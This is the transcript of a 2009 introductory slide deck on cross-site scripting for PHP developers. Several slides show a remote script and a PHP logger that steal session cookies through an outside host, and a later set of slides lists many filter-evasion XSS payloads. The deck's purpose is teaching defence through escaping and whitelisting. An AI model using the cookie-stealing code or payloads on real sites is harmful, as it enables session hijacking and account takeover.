Upgrade to Pro — share decks privately, control downloads, hide ads and more …

XSS: An Introduction and Demonstration (2009)

Rob Howard
September 02, 2009

XSS: An Introduction and Demonstration (2009)

The first in a short series of presentations given at a PHP development shop.

Rob Howard

September 02, 2009
Tweet

More Decks by Rob Howard

Other Decks in Technology

Transcript

  1. XSS
    An Introduction and
    Attack Demonstration

    View Slide

  2. XSS: An Introduction

    “Cross-Site Scripting”

    Using client-side code to send sensitive
    information off to far-away places.

    eg. Javascript

    View Slide

  3. XSS: An Introduction
    Bobby Tables

    View Slide

  4. XSS: An Introduction
    <br/><script>Mallory</td><br/>Oh shit.<br/>

    View Slide

  5. XSS: An Introduction

    That http://hax.gd/x.js script could be:
    alert('HA HA.');
    alert('Survive make your time.');

    View Slide

  6. XSS: An Introduction

    That http://hax.gd/x.js script could be:
    document.write(document.cookie);

    View Slide

  7. XSS: An Introduction

    That http://hax.gd/x.js script could be:
    document.write(
    'style="display:none;" />');
    style="display:none;" />Mallory

    View Slide

  8. XSS: An Introduction

    Let's have a look at http://hax.gd/x.php:
    $fh=fopen('xss.log','a');
    fwrite($fh,$_SERVER['HTTP_REFERER'].
    var_export($_GET,1)); fclose($fh);
    http://example/cms/objects.php?
    _obj_name=example_data&_subnav=123
    array('award_visited=1;__csuid=blah;
    _PHPSESSID=t57tm1fvvdhonprigkdon7167
    7' => '',)

    View Slide

  9. XSS: An Introduction

    So what?
    http://example/cms/objects.php?
    _obj_name=example_data&_subnav=123
    array('award_visited=1;__csuid=blah;
    _PHPSESSID=
    t57tm1fvvdhonprigkdon71677
    ' => '',)

    View Slide

  10. XSS: An Introduction

    So what?
    http://example/cms/objects.php?
    _obj_name=example_data&_subnav=123
    array('award_visited=1;__csuid=blah;
    _PHPSESSID=
    t57tm1fvvdhonprigkdon71677
    ' => '',)

    View Slide

  11. XSS: An Introduction

    Steal the cookie.

    Get the URL to the admin screen.

    Log in at will, exposing the very soft underbelly.

    Time for a demo.

    View Slide

  12. View Slide

  13. Filtering and Escaping

    Sometimes are conflated, with side-effects
    being things like backslashes or entity tags
    found in stored data.

    This is all very well and good, but what happens
    if you want to put this into an email message or
    save out to a text document?

    “Strip out all tags!” can result in mangled
    content:

    eg. <3, <( ^o^)>, 1 < x < 5, “if foo <> bar then”

    View Slide

  14. Filtering and Escaping

    Validation & Filtering: Checking for and getting
    rid of the nasties.

    Checking data is of the correct type, eg.
    email addresses, postcodes, message text.

    Stripping out control characters, fixing multibyte
    encoding shenanigans with iconv().

    Escaping: Packaging data up for transport.

    mysql_real_escape_string() for MySQL strings.

    htmlentities($x, ENT_QUOTES, 'UTF-8'); for HTML.

    urlencode() for query params.

    View Slide

  15. Filtering and Escaping

    Why don't we just kill any tags we find?<br/><IMG SRC=javascript:alert('a')><br/><img src=javascript:alert(&quot;a&quot;)><br/><img “””><script>alert('a')”>
    ipt:aler
    t('XSS')>
    ipt:aler
    t('XSS')>



    alert('a')


    <alert("a");//<
    RIPT>alert('a');RIPT>

    <br/><img src=”javascript:alert('a')”<br/><IMG<br/>SRC<br/>=<br/>"<br/>j<br/>a<br/>v<br/>a<br/>s<br/>c<br/>r<br/>i<br/>p<br/>t<br/>:<br/>a<br/>l<br/>e<br/>r<br/>t<br/>(<br/>'<br/>a<br/>'<br/>)<br/>"<br/>><br/>

    View Slide

  16. Filtering and Escaping

    Why don't we just kill any tags we find?<br/><iframe src=http://foo/x.html <<br/><body background=”javascript:alert('a')”><br/><BODY ONLOAD=alert('a')><br/><img dynsrc=”javascript:alert('a')”><br/><img lowsrc=”javascript:alert('a')”><br/><BGSOUND SRC=javascript:alert('a')><br/><BR SIZE=”&{alert('a')}”><br/><LAYER SRC=”http://foo/x.html”></LAYER><br/><link rel=”stylesheet” href=”javascript:alert('a');”><br/><XSS STYLE="behavior: url(xss.htc);"><br/><STYLE>BODY{-moz-binding:url("http://foo/x.xml#xss")}</STYLE><br/><IMG SRC='vbscript:msgbox(“a”)'><br/><img src=”livescript:alert('a')”><br/>žscriptualert(EXSSE)ž/scriptu (US-ASCII encoding evasion)<br/><META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert('a');”><br/><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,<br/>PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"><br/><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET><br/><TABLE BACKGROUND="javascript:alert('XSS')"><br/>

    View Slide

  17. Filtering and Escaping

    Why don't we just kill any tags we find?<br/><DIV STYLE="background-image: url(javascript:alert('a'))"><br/><DIV STYLE="background-image:\0075\0072\006C\0028'\006a<br/>\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061<br/>\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"><br/><DIV STYLE="background-image: url(&#1;javascript:alert('a'))"><br/><DIV STYLE="width: expression(alert('a'));"><br/><STYLE>@im\port'\ja\vasc\ript:alert("a")';</STYLE><br/><IMG STYLE="xss:expr/*XSS*/ession(alert('a'))"><br/>exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("a"))'><br/><STYLE TYPE="text/javascript">alert('a');</STYLE><br/><STYLE>.x{background-image:url("javascript:alert('a')");}</STYLE><A CLASS=X></A><br/><BASE HREF="javascript:alert('a');//"><br/><OBJECT TYPE="text/x-scriptlet" DATA="http://foo/x.html"></OBJECT><br/><EMBED SRC="http://foo/xss.swf" AllowScriptAccess="always"></EMBED><br/><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzd....jwvc3ZnPg=="<br/>type="image/svg+xml" AllowScriptAccess="always"></EMBED><br/><XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]><br/></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN><br/>

    View Slide

  18. Filtering and Escaping

    Yeah, no.

    The transport is HTML; package it
    appropriately.

    Using htmlentities($xsslol, ENT_QUOTES, 'UTF-8')
    will completely neuter most of this stuff.

    Use it even on the things you “trust” like
    $_SERVER['PHP_SELF'], or REQUEST_URI.

    It gets hard when you need to put user data into
    src=”” and style=”” fields; suggest using a whitelist
    instead, no matter how much of a pain it is to
    implement. (Or in the case of images and other
    files, generating the filename for them.)

    View Slide